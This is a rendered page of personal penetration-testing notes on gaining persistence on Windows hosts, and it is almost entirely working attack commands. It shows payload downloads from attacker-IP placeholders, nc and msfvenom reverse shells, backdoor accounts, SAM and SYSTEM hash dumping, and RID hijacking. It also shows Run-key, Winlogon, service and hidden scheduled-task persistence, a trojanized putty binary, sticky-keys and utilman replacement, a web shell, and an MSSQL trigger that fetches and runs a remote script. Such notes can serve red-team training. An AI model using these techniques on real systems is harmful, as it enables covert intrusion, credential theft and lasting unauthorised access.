stefan
/
husk
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity
husk/build/persistence/persistence.html

686 lines
61 KiB
HTML
Raw Normal View History

init
2022-09-02 09:05:59 +02:00
<!doctype html>
<html lang="en">
<center>
<head>
<script src="https://cdn.jsdelivr.net/npm/fuse.js/dist/fuse.js"></script>
<!-- mathjax -->
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script type="text/javascript" src="/static/js/auto-complete.js"></script>
<script type="text/javascript" src="/static/js/lunr.min.js"></script>
<script type="text/javascript" src="/static/js/search.js"></script>
<link rel="stylesheet" href="/static/stylesheet.css">
<link rel="stylesheet" href="/static/auto-complete.css">
<br>
<title>In the Open</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<!-- topmenu -->
<div class="menu">
<a href="/" style="text-decoration:none">In the Open</a>
</div>
<div class="search-container">
<label for="search-by"><i class="fas fa-search"></i></label>
<input data-search-input="" id="search-by" type="search" placeholder="Search..." autocomplete="off">
<!--button type="submit"><i class="search"></i>&#128269;</button>-->
<span data-search-clear=""><i class="fas fa-times"></i></span>
</div>
</div>
<div class="menu">
</div>
<!--br><br-->
</center>
<p></p>
<div class="columns">
<!-- Sidebar -->
<div class="column column-1">
<ul><details id=crypto ontoggle="linkClick(this); return false;" ><summary>Crypto</summary><ul><details id=openssl ontoggle="linkClick(this); return false;" ><summary>Openssl</summary><ul><li><a href="/crypto/openssl/openssl.html">openssl</a></li><li><a href="/crypto/openssl/openssl_engine.html">openssl_engine</a></li></ul></details><li><a href="/crypto/rsa.html">rsa</a></li></ul></details><details id=enumeration ontoggle="linkClick(this); return false;" ><summary>Enumeration</summary><ul><details id=containers ontoggle="linkClick(this); return false;" ><summary>Containers</summary><ul></ul></details><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/enumeration/docs/aws.html">aws</a></li><li><a href="/enumeration/docs/cewl.html">cewl</a></li><li><a href="/enumeration/docs/dns.html">dns</a></li><li><a href="/enumeration/docs/docker_enumeration.html">docker_enumeration</a></li><li><a href="/enumeration/docs/ffuf.html">ffuf</a></li><li><a href="/enumeration/docs/gobuster.html">gobuster</a></li><li><a href="/enumeration/docs/kerberoast.html">kerberoast</a></li><li><a href="/enumeration/docs/kubectl.html">kubectl</a></li><li><a href="/enumeration/docs/ldap.html">ldap</a></li><li><a href="/enumeration/docs/linux_basics.html">linux_basics</a></li><li><a href="/enumeration/docs/microk8s.html">microk8s</a></li><li><a href="/enumeration/docs/nfs.html">nfs</a></li><li><a href="/enumeration/docs/nikto.html">nikto</a></li><li><a href="/enumeration/docs/nmap.html">nmap</a></li><li><a href="/enumeration/docs/port_knocking.html">port_knocking</a></li><li><a href="/enumeration/docs/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/docs/rsync.html">rsync</a></li><li><a href="/enumeration/docs/rustscan.html">rustscan</a></li><li><a href="/enumeration/docs/shodan.html">shodan</a></li><details id=snmp ontoggle="linkClick(this); return false;" ><summary>Snmp</summary><ul><li><a href="/enumeration/docs/snmp/onesixtyone.html">onesixtyone</a></li><li><a href="/enumeration/docs/snmp/snmpcheck.html">snmpcheck</a></li></ul></details><li><a href="/enumeration/docs/websites.html">websites</a></li><li><a href="/enumeration/docs/wfuzz.html">wfuzz</a></li><li><a href="/enumeration/docs/wpscan.html">wpscan</a></li></ul></details><details id=network_scanners ontoggle="linkClick(this); return false;" ><summary>Network_scanners</summary><ul></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/enumeration/windows/bloodhound.html">bloodhound</a></li><li><a href="/enumeration/windows/event_log.html">event_log</a></li><li><a href="/enumeration/windows/manual_enum.html">manual_enum</a></li><li><a href="/enumeration/windows/powershell.html">powershell</a></li><li><a href="/enumeration/windows/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/windows/sysinternals.html">sysinternals</a></li><li><a href="/enumeration/windows/sysmon.html">sysmon</a></li><li><a href="/enumeration/windows/vss.html">vss</a></li></ul></details></ul></details><details id=exfiltration ontoggle="linkClick(this); return false;" ><summary>Exfiltration</summary><ul><details id=dns ontoggle="linkClick(this); return false;" ><summary>Dns</summary><ul><li><a href="/exfiltration/dns/dns.html">dns</a></li></ul></details><details id=linux ontoggle="linkClick(this); return false;" ><summary>Linux</summary><ul><li><a href="/exfiltration/linux/nc.html">nc</a></li><li><a href="/exfiltration/linux/wget.html">wget</a></li></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/exfiltration/windows/evil-winrm.html">evil-winrm</a></li><li><a href="/exfiltration/windows/loot.html">loot</a></li><li><a href="/exfiltration/windows/smb_connection.html">smb_connection</a></li></ul></details></ul></details><details id=exploit ontoggle="linkClick(this); return false;" ><summary>Exploit</summary><ul><details id=CPUs ontoggle="linkClick(this); return false;" ><summary>CPUs</summary><ul><li><a href="/exploit/CPUs
</ul>
</div>
<div class="column column-2">
<span class="body">
<style>pre { line-height: 125%; }
td.linenos .normal { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
span.linenos { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
td.linenos .special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
span.linenos.special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
.codehilite .hll { background-color: #2C3B41 }
.codehilite .c { color: #546E7A; font-style: italic } /* Comment */
.codehilite .err { color: #FF5370 } /* Error */
.codehilite .esc { color: #89DDFF } /* Escape */
.codehilite .g { color: #EEFFFF } /* Generic */
.codehilite .k { color: #BB80B3 } /* Keyword */
.codehilite .l { color: #C3E88D } /* Literal */
.codehilite .n { color: #EEFFFF } /* Name */
.codehilite .o { color: #89DDFF } /* Operator */
.codehilite .p { color: #89DDFF } /* Punctuation */
.codehilite .ch { color: #546E7A; font-style: italic } /* Comment.Hashbang */
.codehilite .cm { color: #546E7A; font-style: italic } /* Comment.Multiline */
.codehilite .cp { color: #546E7A; font-style: italic } /* Comment.Preproc */
.codehilite .cpf { color: #546E7A; font-style: italic } /* Comment.PreprocFile */
.codehilite .c1 { color: #546E7A; font-style: italic } /* Comment.Single */
.codehilite .cs { color: #546E7A; font-style: italic } /* Comment.Special */
.codehilite .gd { color: #FF5370 } /* Generic.Deleted */
.codehilite .ge { color: #89DDFF } /* Generic.Emph */
.codehilite .gr { color: #FF5370 } /* Generic.Error */
.codehilite .gh { color: #C3E88D } /* Generic.Heading */
.codehilite .gi { color: #C3E88D } /* Generic.Inserted */
.codehilite .go { color: #546E7A } /* Generic.Output */
.codehilite .gp { color: #FFCB6B } /* Generic.Prompt */
.codehilite .gs { color: #FF5370 } /* Generic.Strong */
.codehilite .gu { color: #89DDFF } /* Generic.Subheading */
.codehilite .gt { color: #FF5370 } /* Generic.Traceback */
.codehilite .kc { color: #89DDFF } /* Keyword.Constant */
.codehilite .kd { color: #BB80B3 } /* Keyword.Declaration */
.codehilite .kn { color: #89DDFF; font-style: italic } /* Keyword.Namespace */
.codehilite .kp { color: #89DDFF } /* Keyword.Pseudo */
.codehilite .kr { color: #BB80B3 } /* Keyword.Reserved */
.codehilite .kt { color: #BB80B3 } /* Keyword.Type */
.codehilite .ld { color: #C3E88D } /* Literal.Date */
.codehilite .m { color: #F78C6C } /* Literal.Number */
.codehilite .s { color: #C3E88D } /* Literal.String */
.codehilite .na { color: #BB80B3 } /* Name.Attribute */
.codehilite .nb { color: #82AAFF } /* Name.Builtin */
.codehilite .nc { color: #FFCB6B } /* Name.Class */
.codehilite .no { color: #EEFFFF } /* Name.Constant */
.codehilite .nd { color: #82AAFF } /* Name.Decorator */
.codehilite .ni { color: #89DDFF } /* Name.Entity */
.codehilite .ne { color: #FFCB6B } /* Name.Exception */
.codehilite .nf { color: #82AAFF } /* Name.Function */
.codehilite .nl { color: #82AAFF } /* Name.Label */
.codehilite .nn { color: #FFCB6B } /* Name.Namespace */
.codehilite .nx { color: #EEFFFF } /* Name.Other */
.codehilite .py { color: #FFCB6B } /* Name.Property */
.codehilite .nt { color: #FF5370 } /* Name.Tag */
.codehilite .nv { color: #89DDFF } /* Name.Variable */
.codehilite .ow { color: #89DDFF; font-style: italic } /* Operator.Word */
.codehilite .w { color: #EEFFFF } /* Text.Whitespace */
.codehilite .mb { color: #F78C6C } /* Literal.Number.Bin */
.codehilite .mf { color: #F78C6C } /* Literal.Number.Float */
.codehilite .mh { color: #F78C6C } /* Literal.Number.Hex */
.codehilite .mi { color: #F78C6C } /* Literal.Number.Integer */
.codehilite .mo { color: #F78C6C } /* Literal.Number.Oct */
.codehilite .sa { color: #BB80B3 } /* Literal.String.Affix */
.codehilite .sb { color: #C3E88D } /* Literal.String.Backtick */
.codehilite .sc { color: #C3E88D } /* Literal.String.Char */
.codehilite .dl { color: #EEFFFF } /* Literal.String.Delimiter */
.codehilite .sd { color: #546E7A; font-style: italic } /* Literal.String.Doc */
.codehilite .s2 { color: #C3E88D } /* Literal.String.Double */
.codehilite .se { color: #EEFFFF } /* Literal.String.Escape */
.codehilite .sh { color: #C3E88D } /* Literal.String.Heredoc */
.codehilite .si { color: #89DDFF } /* Literal.String.Interpol */
.codehilite .sx { color: #C3E88D } /* Literal.String.Other */
.codehilite .sr { color: #89DDFF } /* Literal.String.Regex */
.codehilite .s1 { color: #C3E88D } /* Literal.String.Single */
.codehilite .ss { color: #89DDFF } /* Literal.String.Symbol */
.codehilite .bp { color: #89DDFF } /* Name.Builtin.Pseudo */
.codehilite .fm { color: #82AAFF } /* Name.Function.Magic */
.codehilite .vc { color: #89DDFF } /* Name.Variable.Class */
.codehilite .vg { color: #89DDFF } /* Name.Variable.Global */
.codehilite .vi { color: #89DDFF } /* Name.Variable.Instance */
.codehilite .vm { color: #82AAFF } /* Name.Variable.Magic */
.codehilite .il { color: #F78C6C } /* Literal.Number.Integer.Long */</style>
<div class="column column-3">
<ul>
<li><a href="#persistence">Persistence</a><ul>
<li><a href="#gain-persistence-on-windows">Gain Persistence on Windows</a><ul>
<li><a href="#paths-to-persistence">Paths to Persistence</a></li>
<li><a href="#background-intelligence-transfer-service-bits">Background Intelligence Transfer Service (BITS)</a></li>
</ul>
</li>
<li><a href="#elevate-privileges">Elevate Privileges</a><ul>
<li><a href="#more-stealthy">More stealthy</a></li>
<li><a href="#secedit">secedit</a></li>
<li><a href="#relative-id-rid">Relative ID (RID)</a></li>
</ul>
</li>
<li><a href="#add-to-registry">Add to registry</a></li>
<li><a href="#add-a-service">Add a Service</a><ul>
<li><a href="#meterpreter">Meterpreter</a></li>
<li><a href="#powershell">Powershell</a></li>
</ul>
</li>
<li><a href="#add-scheduled-task">Add Scheduled Task</a></li>
<li><a href="#file-backdoor">File Backdoor</a><ul>
<li><a href="#mimic-pe">Mimic PE</a></li>
<li><a href="#reference-script">Reference Script</a></li>
<li><a href="#file-association">File Association</a></li>
</ul>
</li>
<li><a href="#persistence-via-logon">Persistence via Logon</a><ul>
<li><a href="#startup-directories">Startup directories</a></li>
<li><a href="#registry-keys">Registry Keys</a></li>
<li><a href="#logon-scripts">Logon Scripts</a></li>
</ul>
</li>
<li><a href="#rdp-or-login-screen">RDP or Login Screen</a><ul>
<li><a href="#sticky-keys">Sticky Keys</a></li>
<li><a href="#utilman">Utilman</a></li>
</ul>
</li>
<li><a href="#web-shell">Web Shell</a></li>
<li><a href="#mssql">MSSQL</a></li>
</ul>
</li>
</ul>
</div>
<h1 id="persistence">Persistence</h1>
<ul>
<li>Gain through<ul>
<li>Startup folder persistence</li>
<li>Editing registry keys</li>
<li>Scheduled tasks</li>
<li>SUID</li>
<li>BITS</li>
<li>Creating a backdoored service</li>
<li>Creat user</li>
<li>RDP</li>
</ul>
</li>
</ul>
<h2 id="gain-persistence-on-windows">Gain Persistence on Windows</h2>
<ul>
<li>Browser. Add to trusted sites.</li>
<li>Powershell</li>
</ul>
<div class="codehilite"><pre><span></span><code>Invoke-WebRequest http://&lt;attacker-IP&gt;:&lt;attackerPort&gt;/shell.exe -OutFile .<span class="se">\s</span>hell2.exe
</code></pre></div>
<ul>
<li>DOSprompt</li>
</ul>
<div class="codehilite"><pre><span></span><code>certutil -urlcache -split -f http://&lt;attacker-IP&gt;:&lt;attacker-Port/shell.exe
</code></pre></div>
<ul>
<li>Use <code>multi/handler</code> on attacker and <code>set PAYLOAD windows/meterpreter/reverse_tcp</code> </li>
</ul>
<h3 id="paths-to-persistence">Paths to Persistence</h3>
<ul>
<li>Put in startup directory</li>
</ul>
<div class="codehilite"><pre><span></span><code>C:<span class="se">\U</span>sers<span class="se">\%</span>username%<span class="se">\A</span>ppData<span class="se">\R</span>oaming<span class="se">\M</span>icrosoft<span class="se">\W</span>indows<span class="se">\S</span>tart Menu<span class="se">\P</span>rograms<span class="se">\S</span>tartup
</code></pre></div>
<ul>
<li>Put the reverse_shell into <code>%appdata%</code> and add a registry key</li>
</ul>
<div class="codehilite"><pre><span></span><code>reg add <span class="s2">&quot;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&quot;</span> /v Backdoor /t REG_SZ /d <span class="s2">&quot;C:\Users\&lt;USER&gt;\AppData\Roaming\backdoor.exe&quot;</span>
</code></pre></div>
<h3 id="background-intelligence-transfer-service-bits">Background Intelligence Transfer Service (BITS)</h3>
<div class="codehilite"><pre><span></span><code>bitsadmin /create __shell__
bitsadmin /addfile __shell__ <span class="s2">&quot;http://&lt;attacker-IP&gt;:&lt;attacker-Port&gt;/shell2.exe&quot;</span> <span class="s2">&quot;C:\Users\&lt;USER&gt;\Documents\shell2.exe&quot;</span>
</code></pre></div>
<div class="codehilite"><pre><span></span><code>bitsadmin /SetNotifyCmdLine <span class="m">1</span> cmd.exe <span class="s2">&quot;/c shell2.exe /complete __shell__ | start /B C:\Users\&lt;USER&gt;\Documents\shell2.exe&quot;</span>
bitsadmin /SetMinRetryDelay <span class="m">30</span>
bitsadmin /resume
</code></pre></div>
<h2 id="elevate-privileges">Elevate Privileges</h2>
<ul>
<li>Create user <code>net user /add &lt;user&gt; &lt;pass&gt;</code></li>
<li>Add to admin group via <code>net localgroup administrators &lt;user&gt; /add</code> </li>
<li>Check <code>net localgroup Administrator</code></li>
</ul>
<h3 id="more-stealthy">More stealthy</h3>
<ul>
<li>Backup Operator group is more stealthy, no admin by r/w on files</li>
</ul>
<div class="codehilite"><pre><span></span><code>net localgroup <span class="s2">&quot;Backup Operators&quot;</span> &lt;user&gt; /add
net localgroup <span class="s2">&quot;Remote Management Users&quot;</span> &lt;user&gt; /add
</code></pre></div>
<ul>
<li>
<p>The following two groups are assigned through membership of <code>Backup Operators</code></p>
<ul>
<li>SeBackupPrivilege, read files</li>
<li>SeRestorePrivilege, write files</li>
</ul>
</li>
<li>
<p>Any local group is stripped of off its admin permissions when logging in via RDP. Therefore disable the following regkey via</p>
</li>
</ul>
<div class="codehilite"><pre><span></span><code>reg add HKLM<span class="se">\S</span>OFTWARE<span class="se">\M</span>icrosoft<span class="se">\W</span>indows<span class="se">\C</span>urrentVersion<span class="se">\P</span>olicies<span class="se">\S</span>ystem /t REG_DWORD /v LocalAccountTokenFilterPolicy /d <span class="m">1</span>
</code></pre></div>
<ul>
<li>Afterwards, check if <code>Backup Operators</code> is enabled via <code>whoami /groups</code></li>
<li>Backup <code>SAM</code> and <code>SYSTEM</code> via </li>
</ul>
<div class="codehilite"><pre><span></span><code>reg save hklm<span class="se">\s</span>ystem system.bak
reg save hklm<span class="se">\s</span>am sam.bak
download system.bak
download sam.bak
secretsdump.py -sam sam.bak -system system.bak LOCAL
</code></pre></div>
<ul>
<li>Pass-the-hash via evil-winrm</li>
</ul>
<h3 id="secedit">secedit</h3>
<ul>
<li>Get r/w on files through editing a config file</li>
<li>Export secedit and open it </li>
</ul>
<div class="codehilite"><pre><span></span><code>secedit /export /cfg config.inf
</code></pre></div>
<ul>
<li>Add user to the groups</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="nv">SeBackupPrivilege</span> <span class="o">=</span> <span class="o">[</span>...<span class="o">]</span>,&lt;username&gt;
<span class="nv">SeRestorePrivilege</span> <span class="o">=</span> <span class="o">[</span>...<span class="o">]</span>,&lt;username&gt;
</code></pre></div>
<ul>
<li>Convert the file</li>
</ul>
<div class="codehilite"><pre><span></span><code>secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.infk
</code></pre></div>
<ul>
<li>Add the user to the RDP group via net localgroup like before or do</li>
</ul>
<div class="codehilite"><pre><span></span><code>Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
</code></pre></div>
<ul>
<li>Add &amp; Click user -&gt; Full Control(All Operations)</li>
<li>Set <code>LocalAccountTokenFilterPolicy</code> to <code>1</code> like in the section before</li>
</ul>
<h3 id="relative-id-rid">Relative ID (RID)</h3>
<ul>
<li>UID like in linux<ul>
<li>Administrator has <code>RID = 500</code></li>
<li>Other interactive users <code>RID &gt;= 1000</code></li>
</ul>
</li>
<li>Get RIDs</li>
</ul>
<div class="codehilite"><pre><span></span><code> wmic useraccount get name,sid
</code></pre></div>
<ul>
<li>Assign <code>500</code> to regular user</li>
</ul>
<div class="codehilite"><pre><span></span><code> PsExec64.exe -i -s regedit
</code></pre></div>
<ul>
<li>Open <code>HKLM\SAM\SAM\Domains\Account\Users\&lt;0xRID&gt;</code></li>
<li>Search for RID value as hexadecimal value</li>
<li>Open the key called <code>F</code> and change effective RID at position <code>0x30</code></li>
<li>Insert LE hex of <code>0d500</code>, which is <code>f401</code></li>
</ul>
<h2 id="add-to-registry">Add to registry</h2>
<ul>
<li>Execute on user logon via</li>
</ul>
<div class="codehilite"><pre><span></span><code>reg add <span class="s2">&quot;HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon&quot;</span> /v Userinit /d <span class="s2">&quot;Userinit.exe, C:\yadda\shell2.exe&quot;</span> /f
</code></pre></div>
<h2 id="add-a-service">Add a Service</h2>
<h3 id="meterpreter">Meterpreter</h3>
<ul>
<li>Inside meterpreter <code>load powershell</code> and <code>powershell_shell</code></li>
</ul>
<div class="codehilite"><pre><span></span><code>New-Service -Name <span class="s2">&quot;&lt;SERVICE_NAME&gt;&quot;</span> -BinaryPathName <span class="s2">&quot;&lt;PATH_TO_BINARY&gt;&quot;</span> -Description <span class="s2">&quot;&lt;SERVICE_DESCRIPTION&gt;&quot;</span> -StartupType <span class="s2">&quot;Boot&quot;</span>
</code></pre></div>
<h3 id="powershell">Powershell</h3>
<ul>
<li>Start a service automatically</li>
</ul>
<div class="codehilite"><pre><span></span><code>sc.exe create SteamUpdater <span class="nv">binPath</span><span class="o">=</span> <span class="s2">&quot;net user Administrator Passwd123&quot;</span> <span class="nv">start</span><span class="o">=</span> auto
sc.exe start SteamUpdater
</code></pre></div>
<ul>
<li>Use a service PE instead</li>
</ul>
<div class="codehilite"><pre><span></span><code>msfvenom -p windows/x64/shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span><span class="nv">$ATTACKER_IP</span> <span class="nv">LPORT</span><span class="o">=</span><span class="nv">$ATTACKER_PORT</span> -f exe-service -o SteamUpdater.exe
</code></pre></div>
<ul>
<li>Modify an existing service<ul>
<li>Enumerate all the services</li>
</ul>
</li>
</ul>
<div class="codehilite"><pre><span></span><code>sc.exe query <span class="nv">state</span><span class="o">=</span>all
</code></pre></div>
<div class="codehilite"><pre><span></span><code>* Info about a specific service, start type should be automatic, service start name should be target user
</code></pre></div>
<div class="codehilite"><pre><span></span><code>sc.exe qc &lt;ServiceName&gt;
</code></pre></div>
<div class="codehilite"><pre><span></span><code>* Reconfigure
</code></pre></div>
<div class="codehilite"><pre><span></span><code>sc.exe config FoundService <span class="nv">binPath</span><span class="o">=</span> <span class="s2">&quot;C:\Windows\SteamUpdater.exe&quot;</span> <span class="nv">start</span><span class="o">=</span> auto <span class="nv">obj</span><span class="o">=</span> <span class="s2">&quot;LocalSystem&quot;</span>
sc.exe start FoundService
</code></pre></div>
<h2 id="add-scheduled-task">Add Scheduled Task</h2>
<div class="codehilite"><pre><span></span><code><span class="nv">$A</span> <span class="o">=</span> New-ScheduledTaskAction -Execute <span class="s2">&quot;cmd.exe&quot;</span> -Argument <span class="s2">&quot;/c C&quot;</span><span class="se">\U</span>sers<span class="se">\A</span>dministrator<span class="se">\D</span>ocuments<span class="se">\r</span>shell.exe
<span class="nv">$B</span> <span class="o">=</span> New-ScheduledTaskTrigger -AtLogOn
<span class="nv">$C</span> <span class="o">=</span> New-ScheduledTaskPrincipal -UserId <span class="s2">&quot;NT AUTHORITY/SYSTEM&quot;</span> -RunLevel Highest
<span class="nv">$D</span> <span class="o">=</span> New-ScheduledTaskSettingsSet
<span class="nv">$E</span> <span class="o">=</span> New-ScheduledTask -Action <span class="nv">$A</span> -Trigger <span class="nv">$B</span> -Principal <span class="nv">$C</span> -Settings <span class="nv">$D</span>
Register-ScheduledTask ReverseShell -InputObject <span class="nv">$E</span>
</code></pre></div>
<ul>
<li>Alternatively via <code>schtasks</code></li>
</ul>
<div class="codehilite"><pre><span></span><code>schtasks /create /sc minute /mo <span class="m">1</span> /tn SteamUpdater /tr <span class="s2">&quot;c:\windows\temp\nc.exe -e cmd.exe </span><span class="nv">$ATTACKER_IP</span><span class="s2"> </span><span class="nv">$ATTACKER_PORT</span><span class="s2">&quot;</span> /ru SYSTEM
</code></pre></div>
<div class="codehilite"><pre><span></span><code>* Check task
</code></pre></div>
<div class="codehilite"><pre><span></span><code>schtasks /query /tn SteamUpdater
</code></pre></div>
<ul>
<li>Deleting Security Descriptor of a task to make it invisible. Delete the following key</li>
</ul>
<div class="codehilite"><pre><span></span><code>HKLM<span class="se">\S</span>OFTWARE<span class="se">\M</span>icrosoft<span class="se">\W</span>indows NT<span class="se">\C</span>urrentVersion<span class="se">\S</span>chedule<span class="se">\T</span>askCache<span class="se">\T</span>ree<span class="se">\&lt;</span>taskname&gt;<span class="se">\S</span>D
</code></pre></div>
<h2 id="file-backdoor">File Backdoor</h2>
<h3 id="mimic-pe">Mimic PE</h3>
<div class="codehilite"><pre><span></span><code>msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp <span class="nv">lhost</span><span class="o">=</span><span class="nv">$ATTACKER_IP</span> <span class="nv">lport</span><span class="o">=</span><span class="nv">$ATTACKER_PORT</span> -b <span class="s2">&quot;\x00&quot;</span> -f exe -o puttyX.exe
</code></pre></div>
<h3 id="reference-script">Reference Script</h3>
<ul>
<li>Recycle shortcut of an app to reference a reverse shell script<ul>
<li>Right click -&gt; <code>Properties</code> -&gt; <code>Target</code></li>
</ul>
</li>
<li>Reference the the script <code>certainlynobackdoor.ps1</code> via </li>
</ul>
<div class="codehilite"><pre><span></span><code>powershell.exe -WindowStyle hidden C:<span class="se">\W</span>indows<span class="se">\S</span>ystem32<span class="se">\c</span>ertainlynobackdoor.ps1
</code></pre></div>
<ul>
<li>Content of the script <code>certainlynobackdoor.ps1</code></li>
</ul>
<div class="codehilite"><pre><span></span><code>Start-Process -NoNewWindow <span class="s2">&quot;c:\tools\nc.exe&quot;</span> <span class="s2">&quot;-e cmd.exe </span><span class="nv">$ATTACKER_IP</span><span class="s2"> </span><span class="nv">$ATTACKER_PORT</span><span class="s2">&quot;</span>
C:<span class="se">\W</span>indows<span class="se">\S</span>ystem32<span class="se">\c</span>alc.exe
</code></pre></div>
<h3 id="file-association">File Association</h3>
<ul>
<li>Change associated <code>ProgID</code> of a file type inside registry <code>HKLM\Software\Classes\</code></li>
<li>Choose a class and <code>&lt;class&gt;/shell/open/command</code> contains the file to be opened as the first argument <code>%1</code> </li>
<li>Chang the argument to a shell script and pass the arg through it</li>
</ul>
<div class="codehilite"><pre><span></span><code>Start-Process -NoNewWindow <span class="s2">&quot;c:\windows\temp\nc.exe&quot;</span> <span class="s2">&quot;-e cmd.exe </span><span class="nv">$ATTACKER_IP</span><span class="s2"> </span><span class="nv">$ATTACKER_PORT</span><span class="s2">&quot;</span>
C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32<span class="se">\N</span>OTEPAD.EXE <span class="nv">$args</span><span class="o">[</span><span class="m">0</span><span class="o">]</span>
</code></pre></div>
<ul>
<li>Change <code>command\default</code> to <code>powershell -windowstyle hidden C:\windows\temp\steamupdater.ps1 %1</code></li>
</ul>
<h2 id="persistence-via-logon">Persistence via Logon</h2>
<h3 id="startup-directories">Startup directories</h3>
<ul>
<li>Users' Startup directory under</li>
</ul>
<div class="codehilite"><pre><span></span><code>C:<span class="se">\U</span>sers<span class="se">\&lt;</span>username&gt;<span class="se">\A</span>ppData<span class="se">\R</span>oaming<span class="se">\M</span>icrosoft<span class="se">\W</span>indows<span class="se">\S</span>tart Menu<span class="se">\P</span>rograms<span class="se">\S</span>tartup
</code></pre></div>
<ul>
<li>Startup directory for all users, put the reverse shell here</li>
</ul>
<div class="codehilite"><pre><span></span><code>C:<span class="se">\P</span>rogramData<span class="se">\M</span>icrosoft<span class="se">\W</span>indows<span class="se">\S</span>tart Menu<span class="se">\P</span>rograms<span class="se">\S</span>tartUp
</code></pre></div>
<h3 id="registry-keys">Registry Keys</h3>
<ul>
<li><code>HKCU\Software\Microsoft\Windows\CurrentVersion\Run</code></li>
<li><code>HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce</code></li>
<li><code>HKLM\Software\Microsoft\Windows\CurrentVersion\Run</code></li>
<li>
<p><code>HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce</code></p>
</li>
<li>
<p>Create <code>Expandable String Value</code> under any of this keys with the value of the reverse shell path</p>
</li>
<li>
<p><code>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> loads user profile after authentication is done</p>
<ul>
<li>Either <code>shell</code> or <code>Userinit</code> can be appended with a comma separated command</li>
</ul>
</li>
</ul>
<h3 id="logon-scripts">Logon Scripts</h3>
<ul>
<li>
<p><code>userinit.exe</code> checks var <code>UserInitMprLogonScript</code> which cann be used to load logon scripts</p>
</li>
<li>
<p>Create variable <code>UserInitMprLogonScript</code> under <code>HKCU\Environment</code> which gets the reverse shell as a payload</p>
</li>
</ul>
<h2 id="rdp-or-login-screen">RDP or Login Screen</h2>
<h3 id="sticky-keys">Sticky Keys</h3>
<ul>
<li>Press shift x 5 and <code>C:\Windows\System32\sethc.exe</code> will be executed</li>
<li>Take ownership of the binary via</li>
</ul>
<div class="codehilite"><pre><span></span><code>takeown /f c:<span class="se">\W</span>indows<span class="se">\S</span>ystem32<span class="se">\s</span>ethc.exe
icacls C:<span class="se">\W</span>indows<span class="se">\S</span>ystem32<span class="se">\s</span>ethc.exe /grant Administrator:F
</code></pre></div>
<ul>
<li>Overwrite with <code>cmd.exe</code> </li>
</ul>
<div class="codehilite"><pre><span></span><code>copy c:<span class="se">\W</span>indows<span class="se">\S</span>ystem32<span class="se">\c</span>md.exe C:<span class="se">\W</span>indows<span class="se">\S</span>ystem32<span class="se">\s</span>ethc.exe
</code></pre></div>
<h3 id="utilman">Utilman</h3>
<ul>
<li>Ease of access button is clickable at the login screen, it is executed with system privileges </li>
<li>Take ownership and overwrite with <code>cmd.exe</code></li>
</ul>
<div class="codehilite"><pre><span></span><code>takeown /f c:<span class="se">\W</span>indows<span class="se">\S</span>ystem32<span class="se">\u</span>tilman.exe
icacls C:<span class="se">\W</span>indows<span class="se">\S</span>ystem32<span class="se">\u</span>tilman.exe /grant Administrator:F
copy c:<span class="se">\W</span>indows<span class="se">\S</span>ystem32<span class="se">\c</span>md.exe C:<span class="se">\W</span>indows<span class="se">\S</span>ystem32<span class="se">\u</span>tilman.exe
</code></pre></div>
<h2 id="web-shell">Web Shell</h2>
<ul>
<li>Default user is <code>iis apppool\defaultapppool</code></li>
<li>
<p>Has <code>SeImpersonatePrivilege</code> </p>
</li>
<li>
<p><a href="https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx">Download Web Shell</a></p>
</li>
<li>Move shell to <code>C:\inetpub\wwwroot</code> on target</li>
<li>Get the shell via <code>http://$TARGET_IP/shell.aspx</code></li>
</ul>
<h2 id="mssql">MSSQL</h2>
<ul>
<li>
<p>Triggers bind actions such as INSERTs</p>
</li>
<li>
<p>Open Microsoft SQL Server Management Studio</p>
<ul>
<li>Choose windows auth</li>
<li><code>New Query</code></li>
<li>Enable Advance Options via</li>
</ul>
</li>
</ul>
<div class="codehilite"><pre><span></span><code>sp_configure <span class="s1">&#39;Show Advanced Options&#39;</span>,1<span class="p">;</span>
RECONFIGURE<span class="p">;</span>
GO
sp_configure <span class="s1">&#39;xp_cmdshell&#39;</span>,1<span class="p">;</span>
RECONFIGURE<span class="p">;</span>
GO
</code></pre></div>
<div class="codehilite"><pre><span></span><code>* Grant privileges to all users
</code></pre></div>
<div class="codehilite"><pre><span></span><code>USE master
GRANT IMPERSONATE ON LOGIN::sa to <span class="o">[</span>Public<span class="o">]</span><span class="p">;</span>
</code></pre></div>
<div class="codehilite"><pre><span></span><code>* Change to DB
</code></pre></div>
<div class="codehilite"><pre><span></span><code>USE &lt;DATABASE&gt;
</code></pre></div>
<div class="codehilite"><pre><span></span><code>* Create trigger
</code></pre></div>
<div class="codehilite"><pre><span></span><code>CREATE TRIGGER <span class="o">[</span>sql_backdoor<span class="o">]</span>
ON HRDB.dbo.Employees
FOR INSERT AS
EXECUTE AS <span class="nv">LOGIN</span> <span class="o">=</span> <span class="s1">&#39;sa&#39;</span>
EXEC master..xp_cmdshell <span class="s1">&#39;Powershell -c &quot;IEX(New-Object net.webclient).downloadstring(&#39;&#39;http://ATTACKER_IP:8000/evilscript.ps1&#39;&#39;)&quot;&#39;</span><span class="p">;</span>
</code></pre></div>
<ul>
